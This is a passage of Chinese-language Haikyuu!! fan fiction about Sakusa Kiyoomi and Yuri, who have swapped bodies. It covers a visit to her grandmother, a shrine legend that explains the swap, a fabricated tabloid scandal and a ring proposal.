她摇摇头:“不会,奶奶是一个人住在老家的村子里,我的亲生父亲他们在镇上住。而且因为之前的很多事情,我奶奶现在不允许他过去找她了,所以我们不会遇到他们。” “原来是这样。” “但是有一个问题……” “嗯?” 她有点无奈:“我奶奶住的地方是一个很小的村落,就算是住在旅店里的客人,大家也都是会眼熟的,人和人之间没有什麽秘密。” 不知道这对不习惯人群的佐久早来说会不会有点难以接受。 “可以想象。”佐久早只是点点头,没有额外评价什麽。 由里这才继续说下去:“也就是说,就算我们分开住还是很容易被别人知道我们是认识的。与其这样让她怀疑,能不能以男友的名义直接住到我家里呢?” “只是这样?”他看上去并不十分在意,“我还以为是什麽呢,反正我们像这样也不是一次两次了。” 她继续补充更多的信息:“还有我奶奶是个很敏锐的人,她可能会盘问你一些问题。” 佐久早仍然是从容的样子:“没关系,反正我的个人信息在官网也能查到大多数了,我不介意实话实说。” “臣臣不介意就好!如果她问到交往的细节的话,我会告诉她我提前准备过的答案的。” 由里奶奶家的村落坐落于山海之间,每天只有两趟公车往返于外界和村庄。 在乘坐公车的时候,由里信口问起以前的事情:“臣臣之前到高知县比赛过吗?” “没有比赛过,但是来过。”佐久早说着说着就皱起眉,“是高中毕业旅行的时候,爸爸说没有来过这片水域钓鱼,一定要过来海钓。想着一直都在训练,没有时间和他们一起出行,那次有时间就答应了。” “结果不太喜欢这里吗?”由里不禁有点紧张。 “也不是,”佐久早说,表情完全是往事不堪回首的样子,“只是来了之后就一直晕船。” 由里的神情也跟着痛苦起来:“那真的是很不好的回忆了!” 佐久早点点头:“对,所以说不能为了一时心软答应别人做不想做的事情。” 由里感慨道:“臣臣也是从这样的经历里磨练出来的啊……啊,我奶奶来接我们了。” 她下车朝奶奶挥挥手:“不是说了我自己去就可以了吗?” 奶□□发花白,但声音中气十足:“哎哟,我们都这麽久没有见面了,当然是想快点见到你啊——这就是?” 佐久早刚把他们两个的行李箱拿下来——因为只住一天没有带那麽多行李,也为了更加逼真,他们两个只带了一个箱子:“您好,我是佐久早圣臣。” “一路过来很辛苦吧,这里每天都是那些人,能和你这样的年轻人认识很高兴。” “我才是非常荣幸。”佐久早客客气气回应道。 由里奶奶的家离车站不算太远。随着由里和奶奶有一搭没一搭地互相问候着对方的近况,他们很快就看到此行的目的地了。 奶奶一边带佐久早进到房间里一边问:“佐久早君是哪里人呢?” “我是东京人,现在住在大阪。” 奶奶笑了笑:“那还真是很巧,这孩子的初恋也是东京出身。” 佐久早瞟了由里一眼,这是他们没有事先交流过的信息,他不知道该作何反应。 但是由里并没看他,只是非常不好意思地否定了:“都说了那个不能算是初恋了!” “难道那个不是你第一次有好感的对象吗?” “只是偶然见过一次的人这样说也太过火了。” 奶奶朝着佐久早指了指由里,用大家都能听到的音量“小声”对他说:“偶然见过一次的人她念叨了好几天呢。” 察觉到这是一个不知道也没有大碍的信息,佐久早放下了防备,只是单纯觉得两位的反应挺有趣的,于是跟着笑了一下。 由里拉着佐久早的袖子把他拽走,物理意义上打断了这一切:“我先带臣臣去放行李了!” 来到自己的房间,由里惊喜地发现这里的陈设还和以前一样,只是因为她要过来提前摆上了被炉。 这里有山有水,温度确实比市区里要低一些。但一进到这样的房间里,身体瞬间就温暖多了。 由里倾情推荐道:“我们家的被炉非常暖和的,臣臣要不要试一下。” 佐久早把东西放下简单整理了一下,把初次拜访奶奶准备的礼物取出来,看她强烈推荐的样子就和她并排坐下,把腿放在被子里:“还没听你说过初恋的事情。” 她趴到暖桌上哀嚎:“臣臣怎麽也开始这样说了,都说不是了!” “好吧,那说说那个东京人的事情。” “其实真的没有什麽啦,人家可能早都不记得我了。”她在暖桌底下伸长腿,用手撑着脸看他,“有一年假期的时候在便利店打工,有两个人堵在收银台那里一定要问我的电话号码。我拒绝了很多次他们都不肯走,这时候有个男人过来把他们赶走了。” 佐久早也向前倾身倚在桌子边缘:“因为被帮助了所以记了很久?” “也不完全是,”由里回想着那时的画面,“他好像单纯是觉得他们很碍事,所以发火了。他那麽自然地说出自己的感受,让我觉得很帅气。因为我总是容易看别人的眼色说出一些模棱两可的话,那样在我看来真的很厉害。” 佐久早若有所思地点了点头,继续提问:“你为什麽知道他是东京人?” “因为他买了两瓶饮料和两瓶啤酒,我就问他要了证件,然后看到了他的驾照。”由里好像记得很清楚。 “他叫什麽名字呢?” “臣臣为什麽会想知道他的名字?”由里绞尽脑汁地想了想,“我完全忘记了,因为他很帅,被他看着的时候感觉很紧张,其实证件除了年龄的部分我都没有仔细看。” “有多帅?” “我其实没有看到他的全脸,因为他戴着口罩,但是他长得真的很特别,他眼睛占面部的比例非常协调,眉毛的轮廓特别好画,而且他的额头上有两个……” 由里在自己的额头上比划着,突然看到佐久早的额角一句话都说不出来了。 佐久早在对她笑着,连眼睛都笑得弯弯的,她从来没有看见他这样笑过。 由里从桌面上缓缓直起身,不可思议地看着他:“是臣臣啊……” 佐久早稍微凑近了一些,压低声音说:“看来你真的喜欢我的脸啊。” “当然了,之前那样说又不是骗人的。”虽然话说得很坦然,但是由里一下就脸红起来。 “没想到我们这麽早就见过了,”佐久早说,“不过确实,在你提起细节之前我没有想起来这件事。” “臣臣大概只会觉得我是被欺负了也不敢发火的受气包吧。” 他很诚实,可以说是过于诚实了:“那时候大概就是这麽想的。” 由里又缓缓地下坠回了桌上,只不过不是像刚才那样因为舒服和放松,而是萎靡地垂下了头。 佐久早枕着自己的胳膊也跟着躺在桌面上,侧过脸和她相对:“不过那是因为我不够了解你,每个人对不同的事情都有不同的表现。现在我知道你并不是一个懦弱无能的人。” 啊,又来了。 佐久早圣臣在比平时的距离还要近一点的地方,说着比平时还要动听百倍的话。 既然他们是互相喜欢的,那再靠近一些也没关系吧? 她于是真的挪动了一些,直到他们的呼吸交错在一起。佐久早也会意地靠近了她。 由里闭上了眼睛。 房间的推拉门在这时打开了。 由里光速从地上弹了起来,飞到行李箱旁边拿起一袋点心:“奶奶我从大阪带了好多点心你尝尝怎麽样吧!” “我……也带了一些水果。”佐久早说,由里注意到他也从被炉里瞬间移动到了房间的另一侧。 奶奶看了看他们两个和散乱的被子,一副“孩子大了不能随便进孩子房间了”的表情:“先吃饭吧。” 由里的奶奶很擅长烹饪,用简单的食材也可以做出非常丰富的菜肴。 由里担心佐久早吃不惯她家里的菜,偷偷给他带了速食拉面,但现在看来应该用不上了。 奶奶一边吃一边问:“由里,你们是从什麽时候开始交往的,怎麽没有听你说过呢?” “因为我们在一起不久,想着稳定一点再说。” “喔,你们是怎麽认识的呢?” “我们是邻居啦。” “不是说城里的邻居不像我们这里一样会和彼此联系的吗?” “啊……但是因为他长得又帅人又好,我就主动和他联系了。” 问到这里,奶奶就没有再追问了。这比由里想象中的通关速度要快,她准备的好多借口都还没用上呢。 吃过饭,佐久早主动要到厨房里去收拾碗筷,由里赶紧跟上去说不需要他来洗,都交给她就好。 奶奶打断了他们两个的谦让,对佐久早说了一声:“你留下。” 然后她把由里关到门外去了。 众所周知,佐久早是一位真正的洗碗大师,如果这就是奶奶对他爱情的考验那他没什麽好担心的。 但当他对水槽伸出手,奶奶却阻止了他。 “你以为我真的能叫你一个客人来洗碗?”她说,“我就问你一句,你要如实回答我。” “请说。”佐久早答。 奶奶虽然年纪大了,但眼睛却清明得很,她仔仔细细地打量着佐久早的神色: “佐久早君,你其实没有和由里交往,对吧?” 第26章 我……就是有点想他了。 “佐久早君,你其实没有和由里交往,对吧?” 佐久早并没被这个问题问倒,面不改色地回答:“怎麽会呢?我们真的在一起了。” 奶奶并不相信,只是“哼”了一声:“你觉得我是个老太太所以很好糊弄吗?” “真的没有,为什麽这麽问呢?我对待她有什麽不周到的地方吗?” “难道不是太周到了吗?如果真的在一起了,为什麽你只会用这里碰她?”奶奶指了指自己的掌根,“刚才你碰到她的时候还直接把手缩回去了,我虽然是个老婆子可我眼睛还好使得很。” “因为……就算是情侣也应该尊重彼此的边界,我想尊重她一点。” “那也不至于到碰都不能碰的程度吧,你们城里人就是喜欢用这种模棱两可的腔调说话。” “我不是那个意思……” “我自己看着长大的孩子我还能不知道吗?这孩子是个很小心的人,不会只看你长得体面就去搭话的。”奶奶一边说一边随手柄玩着手边的筷子,“我不知道她为什麽要在你的事情上扯谎,但是如果你和她待在一起是想玩弄她的感情,我不会放过你的。” “我绝对没有玩弄她感情的意思,”倘若再说下去,事情就要往不可控的方向发展了,佐久早虽然在蒙太奇叙事方面很擅长,但其实并不是个会胡编乱造的人,他只好承认事实,“我们确实没有交往,但我们这样待在一起是有无可奈何的原因的……” “原来你们真的没有交往!”奶奶拿筷子狠狠地指了指他,“佐久早君,像你这样的条件在城里找伴侣也不会是什麽困难的事情吧,你为什麽就一定要像这样不上不下地和我的孙女待在一起?” “不是那样的,* 我喜欢由里,真的。”佐久早说完自己都愣了愣,那句越是在意越说不出口的话他居然就这样说出来了。 但奶奶并不知道之前发生过什麽,自然也不吃这套,仍然是充满质疑的样子:“那你表白了吗?” 佐久早摇摇头:“我还在计划中。” 奶奶交叠双臂有些不快地看着他:“这就是你的全部诚意了?” “不是的,我想选择一个合适的时机,但最近……”佐久早想起由里特意叮嘱过他不要和奶奶说起她遇到妈妈的事情,他顿了顿,只好用泛泛的话规避掉这个话题,“但最近我们都比较忙。” “我受够这些弯弯绕绕了。你到底准备什麽时候给她稳定的承诺?” “我想在更合适的场合正式地提出来。” “今年只剩下最后一个月了,新年的时候,我会去大阪看她。如果到那时候你还是没有行动……” 佐久早承诺道:“届时我一定会和她正式交往的,告白也好礼物也好,我一定会给她最好的。” “你最好是,”奶奶大致接受了他的话,但没有立刻放人,想了想才说,“她既然想瞒我,我看出来的事情就不要告诉她了,你自己想想该怎麽跟她说吧。” “我会保密的。” “等一下。” 佐久早回身看向她。 “我的房子里有客房,也是新收拾过的,今天你就睡在那里,能不能做到?” 就算不那样他也不会做什麽的。但佐久早马上表示了理解:“我明白了。” 佐久早一出来,由里就凑了上来:“她说什麽了?该不会她发现了吧?” 他摇摇头:“没有,她只是叫我一定要对你好……还有让我们晚上不要睡在一起。” “喔……”由里压低声音说,“我奶奶很关心我,有点过度关心了——因为我爸爸一直和她关系不好,她以前不知道我们家里的事情,直到我妈妈出走之后她才知道的,也是从那时候开始帮助我的——如果她说了什麽不好听的话臣臣不要放在心上啊。” “没有,”佐久早说,“她很好。” 剩下的时间里大部分都是由里在陪奶奶度过,她忙前忙后地帮奶奶照顾了她的花和菜地,很开心地汇报了自己最近在投稿方面的进展,一边煮茶一边聊到了很多以前的事情。 佐久早也跟着帮了点忙,大部分时候只是静静听着她们说话。好像很少有人能说这麽多话还让他没有烦躁或者神游天外。 奶奶睡觉很早,这边也没有什麽娱乐活动,由里也早早钻进自己的被子准备睡觉了。 睡觉之前她最后确认了一下手机信息,没想到有佐久早的新消息弹了出来。 【臣臣:你睡了吗?】 【由里:准备睡了,怎麽了?】 【臣臣:我觉得我的房间里有不明生物。】 【臣臣:你觉得会是蟑螂吗?】 【臣臣:这次是真的,我保证。】 【由里:我们家很干净应该不会有吧……】 【由里:我现在去看一下可以吗?】 【由里:我小声一点去,不会被发现的。】 由里蹑手蹑脚地从自己的房间潜入了自家的客房。 佐久早开着灯,他还没有换睡衣,全副武装地防备着角落中可能出现的“不明生物”。 由里进来四处环视了一番,但没有发现什麽特别的。 由里压低声音问他:“它有多大,长什麽样子呢?” 佐久早想了想:“似乎比一般的蟑螂大一点,爬得很快,但没看到它飞。” “啊,我知道了,会不会其实是壁虎?因为环境潮湿的原因我们家有时候会有壁虎的。” 佐久早眨了眨眼,或许他一时间没有联想到这个词汇,但两个人都在用最小的声音说话,他有点听不清楚,于是直接弯腰把耳朵送到由里的嘴旁边了。 由里一下就僵住了,这个距离让她感觉自己差一点就要亲上佐久早的耳朵了,但是事已至此什麽都不说更是奇怪。她还是鼓起勇气重复了一遍:“我是说可能是壁虎。” “原来如此。” 他们短暂地沉默了一会,各自思索着应对的方针。 考虑到可能没法马上解决这个问题,由里提议直接换个房间:“要不臣臣还是去我的房间睡吧?” 佐久早痛苦地否决了这个提议:“我答应奶奶不会睡在你那里了。” 她想了想:“那要不我留下?虽然不知道这样会不会让臣臣觉得安全一点……如果再遇到的话你可以随时叫我的。明天早上我再偷偷溜回去就好了。” “那就拜托了。” 这不是佐久早第一次对她说这句话了,不同的是之前遇到的困难是他捏造的,这次遇到的是真的。 窝在被子里,由里小声地说了一句:“看来人不应该乱说话。” 佐久早很显然也还没忘了之前的事情,说了一声:“也许你是对的。” 为了让佐久早感觉安心,由里轻轻牵住了他的手。 佐久早有点迟疑地关心了一句:“你的手又在抖了,很冷吗?” 那只是因为你刚才靠我太近了,而我现在还在和你牵着手。 但是这时候如果说出这样的话,佐久早可能会收回手,然后独自在黑暗中担忧着不明生物的出现。 说到底是因为由里想要回奶奶家才让他不得不待在这里的,她决定尽可能地保护一下佐久早,所以千万不能说可能会让他松开手的话。 她说:“是有点冷,不过在被子里好多了。” 佐久早还是把手收了回来。 还是说错话了吗?她有点奇怪地看了看他。 佐久早只是在黑暗中把更多的被子盖在了她身上,还顺便把被子的边缘拉高了一点,然后把手塞回了她手里。 一觉睡到自然醒的时候由里才感觉到有些不妙。 今天是休息日,他们两个都没有设闹钟。但奶奶有自己的生物钟,她全年都可以早睡早起,而且是超级早的时候就能起来的那种人。 情况特殊,今天佐久早也没有计较刷不刷牙的事情,飞速地和她交换了吻就立刻开始换常服。 “我先偷偷溜出去然后发消息给臣臣。”由里说。 然后一推门就和正在洒扫庭院的奶奶对上了眼。 由里十分心虚地说:“我……就是有点想他了。” 奶奶一副恨铁不成钢的样子,根本不理她,只是瞪了同样心虚的佐久早一眼。 他们回程的时候,奶奶都没跟佐久早说再见。 在一段尴尬的空白过后,佐久早主动打破了沉默:“我能理解刚才的情况,不要太在意了。” “那就好,也怪我想得不够周全……”由里说,“对了臣臣,我们回程之前可以去一下镇上的神社吗?” 佐久早看了看手机,距离发车还有时间:“我是没什麽问题,这次又有什麽想买的东西吗?” 她轻轻晃了晃脑袋:“这次不是啦。我在这间神社许愿过,是一个非常重要的愿望。现在它真的实现了,所以我想去还愿。” 到了这间神社,佐久早终于反应过来一路上的熟悉感是怎麽回事——这分明是他曾经来过的神社,当时因为晕船太厉害,他第二天就没有再陪隆一出海了,结果被想要徒步的惠子硬是拉着走到这里来,就顺便进去看了看。 佐久早回忆起当时的事情:“我也在这里许愿过。” “真的吗?”由里已经知道佐久早曾经到过和她生活的局域高度重合的地方,已经不像一开始那样会被吓一跳了,但是有这样的缘分还是很令人惊讶。 佐久早微微颔首表示确定,又继续补充了一句:“嗯,也算是实现了。” 由里不禁有点好奇:“臣臣当时许的愿望是什麽?上次就没有告诉我,这次愿望已经实现了总可以说了吧!” 他稍微勾了勾唇角:“当时心情很不好,只是随便写了一句‘我想离开这里’。” 由里突然停住了脚步。 佐久早疑惑地看向她,却发现她在用“不得了了”的眼神看着自己。 佐久早张了张嘴,正要问怎麽回事,就听见她说: “这也是我当时写的愿望。” 第27章 互换身体的原因是? 由里难以置信地看着他:“这个世界上真的有这麽巧的事情吗?连具体的文本都一样?” 由里当初写下“我想离开这里”当然不只是字面意思,她想要挣脱出家庭的牢笼,想要摆脱被抛弃所带来的阴影,想要自由地去往任何想去的地方,想要改变一眼能望到头的命运。 因为有着这样的期许,年少的她和同样年少的、并且正因为不快乐的旅行烦躁着的佐久早在这里发生了不可思议的交集。 佐久早也觉得这几天他们所发现的巧合实在是太多了,为此他仔细核对了自己记忆中的心愿:“我记得我当时确实是这样写的。” “我想去当初许愿的那棵树那里看看,臣臣觉得我们那时候写的愿望还会留在树上吗?”干站在这里也不是办法,由里还是决定动身前行。 佐久早也跟了上去:“不太好说,首先那棵树得还在那里才行……我是高中毕业之后来的,现在已经过了七年了。” 两人最终在记忆中的位置找到了那棵树。时值初冬,树叶已经所剩无几,好在阳光不错,洒在这些写满人们心愿的丝带上,映衬出柔和而温暖的光芒。 但从由里脸上的表情来看,情况似乎并不像他们期待中那麽顺利。 “总感觉这棵树和我记忆中的树形不太一样?”由里一边绕着这棵树转一边打量着树枝上挂着的彩绸,“虽然这麽多年过去有可能会生长,但是它不仅生长的方向变了,而且现在好像比我记忆里的样子还小了。” “可能被修整过形状了?”佐久早不像她那样见过这棵树不止一次,没有那麽深刻的印象了,只是随着她的话一起推测着。 “嗯……但变化似乎太大了,也有可能不是原来的树了吧,”由里转了一圈没有找到自己的丝带,于是问佐久早,“臣臣还记得当初把自己的心愿挂在哪里了吗?” 佐久早四处看了看这棵树,但从他茫然的样子就能看出来,他也想不起来了:“我当时想着可能真的不会再来了,所以没有特别留意,好像只是找了一个挂的丝带比较少的位置随便挂上去了。” 或许是留意到两人在这里打转,这座神社的管理员叫住了他们:“两位如果想要在这里留下自己的心愿的话,只要到室内去取一下红绸就可以来写了。” 这位管理员是位老先生,已经两鬓斑白。由里猜测可能是一位在这里工作或者居住多年的人,赶紧趁机提问:“请问,这棵树上有可能找到很久以前留下的心愿条吗?比如七年前的?” 管理员起初只是友善地听着,听到具体的年限时有些抱歉地笑了笑:“七年前的心愿条已经全都撤下来啦,时间那麽久,就算不撤下来,风吹雨淋的也保存不下来了。” “喔……”由里有点遗憾。 管理员继续向他们介绍:“而且其实这棵树也不是七年前的树了,这几年这边有过一次很严重的台风,原先的树被刮断了。” 佐久早和由里对视了一眼:“原来真的不是以前的树了。” “是呀,”管理员沉思片刻,“不过在以前的那棵树上确实有两条有些特殊的心愿,我留下来了,只是不确定是不是七年前写下的。” 由里问:“那两条心愿具体是什麽内容呢?” 管理员说:“要说起来这两条本身的内容也没什麽特别,但是因为是用两种不同的字迹写下的完全相同的内容,所以让人有点在意。” 由里的眼睛瞬间亮了起来:“是‘我想离开这里’吗?” 管理员怔愣片刻,把他们带到了收纳物品的库房里。 这里的东西不多,但是非常干净整齐,一看就是时常有人在打理着的。由里侧过脸偷偷看了看佐久早的反应,他果然露出了充满赞许的神情。 没过多久,他们就拿着那两条陈旧的,字迹已经变得有点模糊的,但还能认得出是自己所写的丝带,一同坐在了温暖的管理室。 “原来这是两位写下的心愿啊。”找到这两条丝带的主人,管理员看上去也很惊喜,“我当时就想过,在众多的心愿中恰好这两条是一样的,或许两位许愿者会有奇妙的缘分吧。看到两位本来就认识,倒好像是我多想了。” 由里摇摇头:“实际上您想到的内容完全正确……我们在写下心愿的时候真的还不认识,后来……” 后面的事情似乎不是那麽容易令人信服的事情,她看了一眼佐久早就没有继续说下去了。 反而是管理员接了她的话:“发生了灵魂互换?” “哎?”由里一脸震惊。 “哈哈,只是开个玩笑,没想到我这样的老人家也懂得年轻人之间流行的都市传说?”管理员笑着说,“实际上我这个年纪的人从小就听了太多各种各样的志怪故事啦。” “所以有过关于‘灵魂互换’的故事吗?”佐久早问。 “是啊,传闻中曾经的那棵树是能够给适合同行的人创造缘分的树,可以让两个人创建灵魂层面的交流,但是如果两个人素不相识,也没有机会见面,那就有可能会通过灵魂互换的形式来促成这段缘分。”管理员娓娓道来,“二位写了同样的心愿,我一看到就觉得两位是所谓的‘同行者’,所以就想到了这个故事。” 话是这麽说,他们许愿的文本虽然一样,但完全是怀着不同的心情许下的心愿。如果两个人为了这个被牵线,那是不是可以算得上缘分之树创造出的乌龙事件了。 由里提出了他们两个都最关心的问题:“那这个故事有没有说灵魂互换的两个人最终会通过什麽样的方式结束互换,彻底回到自己的身体里呢?” 管理员摆摆手:“这我就不知道了。故事毕竟是故事,人人都只会传颂它最精彩,最不可思议的部分,至于结局……生活本就是没有结局的事情嘛。” 看到由里脸上一瞬间就变得遗憾起来,管理员问:“这位小姐对这个传说很感兴趣?” “对呀,”由里为她的好奇心找了个借口,“因为我是一个漫画作者,需要积攒素材嘛。我对这种志怪故事一直都是非常感兴趣的。” “原来如此,”管理员说,“其实我倒是有个不成器的想法,难得有人对这个故事这麽好奇,不如我就分享一下我的猜测?” 由里立刻点点头。 他解释道:“既然灵魂互换是为了创建缘分而存在的一种手段,那只要两个人真的创建了历久弥坚的缘分,想必也就不再需要用灵魂互换的方式来维系两人的同甘共苦了。” 由里若有所思:“这样的逻辑确实非常通顺……不过得做到什麽程度才能确保一段关系是历久弥坚的缘分呢?” 老者并没有给出明确的解释:“我活到这个岁数,也并没有找到答案,或许答案要靠每个人自己来查找吧。” 管理员的话一点错都没有,不过由里被引领到了最接近问题真相的地方,却没有得到问题的解法,不禁有些遗憾。 她看了看佐久早,通过观察后者的神色,不难看出他也是差不多的心情。 佐久早看了看时间:“我们恐怕得回车站去了。” “请便,如果有什麽新的心愿和想法,我也期待和你们再次见面。”管理员站起身送客。 送走了由里和佐久早,管理员回到了神社的小院之中。 这时,一位衣着古朴的束发女子从他身后走了出来,她的脚步非常轻盈,轻盈到让人觉得她好像从来都不曾经过她的来路一样。 现在已经是冬天,但女人似乎并不觉得冷——她不仅衣衫单薄,甚至还在摇着一把折扇。 就好像四季在她的身体上不会留下任何痕迹。 年轻女子笑吟吟地问管理员:“您怎麽和他们兜了这麽一大圈还不把实话告诉他们啊?我本来还很期待看他们知道真相之后会不会马上亲一下呢。” 管理员只是淡淡地回了一句:“您期待的是这个?” 年轻女子笑意越来越浓:“当然啦,您知道待在这个荒郊野岭的地方看见一对俊男美女亲嘴是多麽难得的事情吗?” 管理员也跟着笑了:“您之前不是说过的吗?这个女孩身上还有未完成的课题,既然如此为什麽不让这段缘分持续得更久呢?” 女子晃晃脑袋:“话是这麽说,这段缘分已经足够坚韧了吧,就算现在让灵魂互换结束也不一定会影响他们的感情啊。” 管理员看向身边容颜不老的神明:“或许是我这辈子见过的人太多了,我总是没办法那麽乐观地看待缘分的发展。虽然您说是为了促成他们的缘分才用了这样的方法,但是再坚固的缘分也不是坚不可摧,您其实也知道的吧?” “哎呀,您简直比我还像个神呢。”神明调侃着身边的这位老人,目送着由里和佐久早渐渐消失在他们的视野中。 第28章 也就是说,里面有一枚钻戒。 在去车站的路上,由里一边走一边说:“刚才管理员先生说灵魂互换的时候吓死我了……” “是啊,”佐久早微微颔首,“我以为真的有人了解这件事情,原来他只是在讲传说故事而已。” “不过他这麽一说,我们确实因为灵魂互换创建了我之前想都不敢想象的缘分,”由里回忆着管理员的话,“而且我们的关系已经非常坚固了啊,为什麽互换还是没有结束呢?” “毕竟故事只是故事,可能还有其他的我们不知道的条件吧。” “有道理,这也是一个方向,我可以回去查一下相关的坊间传闻,说不定真的会有可以用到的解决方案。”由里想了想,“如果需要画符文或者魔法阵之类的,正好我也很会画画……” “稍等一下。”佐久早说,刚才他们和管理员聊得太投入,他一直都没有看静音了的手机,走到候车室才发现不知道为什麽积攒了很多未接电话。 电话有来自真希的,有来自教练的,也有来自球队经理的。 电话底下还有不少未读消息,来自他所认识的各路人。 他正在犹豫要先回拨给谁,真希的电话就打进来了。 佐久早接通了电话:“怎麽了?” 真希没头没尾地问了一句:“由里是你唯一的女朋友吗?” 佐久早不明就里地问:“你在说什麽?” 真希的语速一反往常,十分快速和沉稳,但这样反而让人觉得心慌:“你就说是不是吧,快点,时间紧迫。” “是。” “你也没有其他层面的伴侣是吗?” 佐久早对于这种奇怪的问题简直要开始不耐烦了:“这个问题有反复确认的必要吗?” 真希还是刚才的语气:“有还是没有?” “没有。” 她说:“知道了,那造谣者持照片勒索的事情家里就不回应了,你尽快和俱乐部商量应对的对策,之后通知我,舆论方面我现在帮你控制,但你挨两句骂大概免不了了。” 佐久早皱着眉:“你在说什……” 佐久早话还没说完,真希就把电话挂了。 他回过头看向由里,后者正拿着手机一脸担忧地看着他。 怎麽突然之间大家都变得令人难以理解了?佐久早问:“怎麽了?” 她好像没法用三言两语解释,直接把手机递给了佐久早。 一则名为“佐久早圣臣选手私生活丑闻”的文章赫然出现在屏幕正中。 他快速扫了一眼具体内容,他和由里在法国街头通过接吻互换身体时被拍到了,有人借机生事,以前V联盟工作人员的口吻写下了这篇曝光佐久早的文章,声称他场外私生活混乱,在不同国家和地区向工作人员和志愿者搭讪求欢已成常态。 这简直是无稽之谈。由里虽然认识佐久早不过数月,但也非常清楚佐久早对陌生人能忍受的最大限度的肢体接触就是握手,而且握手之后还会产生强烈的想要洗手的冲动。 但因为他和由里亲密接触的瞬间是事实,并且有照片为证,似乎真的有人相信了这则爆料。这篇文章和其中的照片的转载量居然不少。 不知道爆料者是不是还在评论区进行了控评,甚至有人在下面指出佐久早给集训期间的男排国家队造成了不良的舆论影响,不配为国家队的成员。 佐久早先是仔细看了那张照片,心想好在照片主要是为了拍摄他而选定的取景角度,由里的脸没有暴露出来。 他正要仔细阅读文章内容,经理的电话又打过来了。他示意由里自己要拿着她的手机看一下,同时接通了电话:“我在高知县,马上回去……照片是我本人,私生活的问题是谣传……是的,我会尽快。” 电话那边提问道:“既然你确定是谣言,俱乐部会尽快回应辟谣,顺便问一句,照片里的女性是你什麽人?无意探听你的隐私,但确认情况我们才能避免继续被抓住漏洞造谣。” 佐久早看了一眼由里:“能不能避免回应关于她的事情,我不想让她卷入舆论漩涡。” “我们可以不提及这位女士,但是事已至此你最好说明一下实情。” 看到佐久早沉默了,由里赶紧用口型说:“没关系的。” 拜托,至少不要是这种时候。 佐久早为了这一刻精心设计了很多种不同的场景和对白,比如烟花,比如花束和爱心气球,比如一份摆盘精美的烛光晚餐——他对这些象征爱情的标志其实没有什麽感觉,不过他希望他的爱人能至少得到普遍意义上最幸福的表白。 他绝对没有想过,这一刻会是此时此刻这样。 时间是一个冬天的上午,天气算不上好,甚至可以说是阴沉。 地点是一条算不得平坦的公路,他们正站在一起——佐久早脚边靠着一只行李箱——在空无一人的街道上等待着回家的车。肃杀的冬日让周围的环境看起来光秃秃的,毫无生机。 人物是他们两个,虽然是他们两个,但是他此时此刻不是高大帅气年少有为的佐久早圣臣,是摊上了烂事之后焦头烂额的佐久早圣臣。 哦对,人物其实不只有他们两个,电话那边的球队经理还在等待着他的回复呢。 这可以说是世界上最为糟糕的表白场景了,比他每一个错过的瞬间都要烂百倍。 可惜生活无法倒带。 佐久早近乎沉重地叹了口气,他注视着由里,眼神就像每一次那种瞬间即将降临之前的眼神一样——也许掺杂着一丝绝望。 佐久早说:“她是我喜欢的人。” “喔,”电话那边因为这个回答短暂地停顿了一下,“我了解了,所以你没有其他的……” “除了她以外我没法忍受任何人随便碰我,我以为这是大家都清楚的。” “明白,后续有进度我们再联系,也请佐久早选手尽快回到大阪,在我们发布声明之前不要接受任何人的采访。” “知道了。” 佐久早挂了电话,他有点害怕去观察由里的反应,因为这实在是和任何人想要的表白方式都大不相同。 万一她很失落怎麽办?万一她生气了怎麽办?或者万一在这种情况下,她并不想接受自己又碍于他正在经历痛苦,然后勉强自己给出违心的回答怎麽办? 但是她只是问:“他明明只放了我一个人的照片,为什麽会有那麽多人相信你和很多不同的人在一起?” 佐久早有点奇怪地看了看由里,后者的脸上并没有任何异样的表情,她好像根本没发现这是一次表白,只是在普通地关心着他。 也许他们一起演过太多次情侣了,由里已经习惯了,根本就没有往那个方向去想吧。 佐久早几乎松了一口气。关乎自己职业生涯的大事摆在面前,他居然在为另外的事情紧张得不得了,他自己都有点难以置信。 意识到自己的沉默超过了正常人思考所需要的时间,他才缓缓开口解释道:“因为现在才刚发布入选国家队的选手名单,又是赛季和出国集训交错的时期,大家都很在意这个时间段选手的备战状态。” “可是球迷都知道你是什麽样的人啊,真的会随便相信这种风言风语吗?” “大家毕竟不是和我朝夕相处的人,我没有理由要求他们给予我全部的信任,而且这件事情也引起了很多不是球迷的人的关注,他们就更没有立场为我辩护了。” “那这件事情如果处理不好,真的有可能会害你不能作为日本代表参加比赛吗?” “既然我没有做过他说的事情,总能处理好的。” 由里安静了一会,佐久早几乎以为这个话题结束了。 公车从道路尽头驶来,很快到了他们身边。 在公车开门之前,由里突然说:“我们结婚吧。” “你说……什麽?”佐久早不可思议地愣在原地,直到由里把他手边的箱子拉走开始往车上抬,他才追上去从她手里把箱子拿走了。 他们在最后排落座,由里才小声对他解释说:“如果每一次和你待在一起的人都是你的妻子,那别人就没什麽可说的了吧,最多说我们热恋期太黏糊了之类的,被这样不痛不痒地评价两句我是无所谓的。” “你不用……” 她示意他等一等:“这张照片和这份传言已经被那麽多人所知道了,如果你一味地隐藏我的身份,不管是控制舆论也好发布澄清也罢,哪怕立刻把这个散布谣言的人告倒,都还是会有人只记住不好的部分,忽视辟谣的部分。说不定还会有人觉得是因为臣臣的家庭条件太好才控制住了传言。” “但是,”她说,“如果国民级的运动员官宣婚讯的话,浪花总不会盖不过一则虚假的推文吧。” “可是这对你不公平。”佐久早说。 “怎麽会呢,臣臣不是说喜欢我了吗?”说到后面,由里也有点脸烫,但还是坚持说下去,“我也喜欢你,我愿意和你共同承担一些风险,我相信我们两个人一起会顺利解决这个问题的。” 虽然佐久早天生就没有什麽表情,但是由里从来没有在佐久早的脸上看到过那样严肃的神色。佐久早把手伸进了风衣的口袋里,看起来像警匪片里坏人掏枪的前摇。 由里顿时为自己的冲动发言感到了深深的懊悔,立刻讨饶道:“臣臣,日本是禁枪的吧,这还是在公车上呢,看在我们相识一场的份上就算你不愿意也别……” 佐久早张开手,一个小方盒静静地躺在他的手心里。 里面没有枪,只有一个银色金属环,它的顶端有细小的闪光,看起来很精美。 也就是说,里面有一枚钻戒。 第29章 佐久早圣臣选手的结婚证书一时红遍了全网。 虽然由里已经知道佐久早选手是一个做任何事情之前都会经过谨慎的考虑的人……但是为什麽会有人随身带着戒指以便求婚啊? 佐久早还是那副超级严肃的样子,开始了他的求婚宣言:“不是说你接受了就一定要一直和我在一起,如果你之后反悔了我也……” 由里想要伸手捂住他的嘴,但是转念一想这样做可能会让洁癖君难以忍受,最后只是用手在自己嘴上打了个叉让他别说了:“这好像不是求婚的时候该说的话。” 佐久早困惑地停顿了一下,修改了一下措辞:“那……在你愿意的期限之内和我结婚吧。” 